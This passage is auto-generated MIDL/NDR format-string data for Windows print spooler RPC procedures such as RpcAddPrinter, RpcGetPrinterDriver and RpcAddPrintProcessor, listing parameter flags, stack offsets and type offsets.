FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 352 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 354 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 356 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 358 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 360 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 362 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 364 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 366 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 368 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPrinter */\n\n/* 370 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 372 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 376 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 378 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 380 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 382 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 384 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 386 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 388 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 390 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 392 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 396 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 400 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 402 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 404 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 406 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterContainer */\n\n/* 408 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 410 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 412 */\tNdrFcShort( 0x30e ),\t/* Type Offset=782 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 414 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 416 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 418 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Parameter pSecurityContainer */\n\n/* 420 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 422 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 424 */\tNdrFcShort( 0x322 ),\t/* Type Offset=802 */\n\n\t/* Parameter pHandle */\n\n/* 426 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 428 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 430 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Return value */\n\n/* 432 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 434 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinter */\n\n/* 438 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 440 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 444 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 446 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 448 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 450 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 452 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 454 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 456 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 458 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 460 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 462 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 468 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 470 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 472 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 474 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 476 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 478 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 480 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetPrinter */\n\n/* 482 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 484 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 488 */\tNdrFcShort( 0x7 ),\t/* 7 */\n/* 490 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 492 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 494 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 496 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 498 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 500 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 502 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 504 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 506 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 508 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 512 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 514 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 516 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 518 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pPrinterContainer */\n\n/* 520 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 522 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 524 */\tNdrFcShort( 0x30e ),\t/* Type Offset=782 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 526 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 528 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 530 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Parameter pSecurityContainer */\n\n/* 532 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 534 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 536 */\tNdrFcShort( 0x322 ),\t/* Type Offset=802 */\n\n\t/* Parameter Command */\n\n/* 538 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 540 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 542 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 544 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 546 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 548 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinter */\n\n/* 550 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 552 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 556 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 558 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 560 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 562 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 564 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 566 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 568 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 570 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 572 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 574 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 576 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 578 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 580 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 582 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 584 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 586 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter Level */\n\n/* 588 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 590 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 592 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrinter */\n\n/* 594 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 596 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 598 */\tNdrFcShort( 0x332 ),\t/* Type Offset=818 */\n\n\t/* Parameter cbBuf */\n\n/* 600 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 602 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 604 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 606 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 608 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 610 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 612 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 614 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 616 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPrinterDriver */\n\n/* 618 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 620 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 624 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 626 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 628 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 630 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 632 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 634 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 636 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 638 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 640 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 642 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 644 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 646 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 648 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 650 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 652 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 654 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDriverContainer */\n\n/* 656 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 658 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 660 */\tNdrFcShort( 0x58a ),\t/* Type Offset=1418 */\n\n\t/* Return value */\n\n/* 662 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 664 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 666 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPrinterDrivers */\n\n/* 668 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 670 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 674 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 676 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 678 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 680 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 682 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 684 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 686 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 688 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 690 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 692 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 694 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 696 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 698 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 700 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 702 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 704 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 706 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 708 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 710 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 712 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 714 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 716 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDrivers */\n\n/* 718 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 720 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 722 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 724 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 726 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 728 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 730 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 732 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 734 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 736 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 738 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 740 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 742 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 744 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 746 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinterDriver */\n\n/* 748 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 750 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 754 */\tNdrFcShort( 0xb ),\t/* 11 */\n/* 756 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 758 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 760 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 762 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 764 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 766 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 768 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 770 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 772 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 774 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 776 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 778 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 780 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 782 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 784 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pEnvironment */\n\n/* 786 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 788 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 790 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 792 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 794 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 796 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDriver */\n\n/* 798 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 800 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 802 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 804 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 806 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 808 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 810 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 812 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 814 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 816 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 818 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 820 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinterDriverDirectory */\n\n/* 822 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 824 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 828 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 830 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 832 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 834 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 836 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 838 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 840 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 842 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 844 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 846 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 848 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 850 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 852 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 854 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 856 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 858 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 860 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 862 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 864 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 866 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 868 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 870 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDriverDirectory */\n\n/* 872 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 874 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 876 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 878 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 880 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 882 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 884 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 886 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 888 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 890 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 892 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 894 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterDriver */\n\n/* 896 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 898 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 902 */\tNdrFcShort( 0xd ),\t/* 13 */\n/* 904 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 906 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 908 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 910 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 912 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 914 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 916 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 918 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 920 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 922 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 924 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 926 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 928 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 930 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 932 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 934 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 936 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 938 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pDriverName */\n\n/* 940 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 942 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 944 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 946 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 948 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 950 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPrintProcessor */\n\n/* 952 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 954 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 958 */\tNdrFcShort( 0xe ),\t/* 14 */\n/* 960 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 962 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 964 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 966 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 968 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 970 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 972 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 974 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 976 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 980 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 982 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 984 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 986 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 988 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 990 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 992 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 994 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pPathName */\n\n/* 996 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 998 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1000 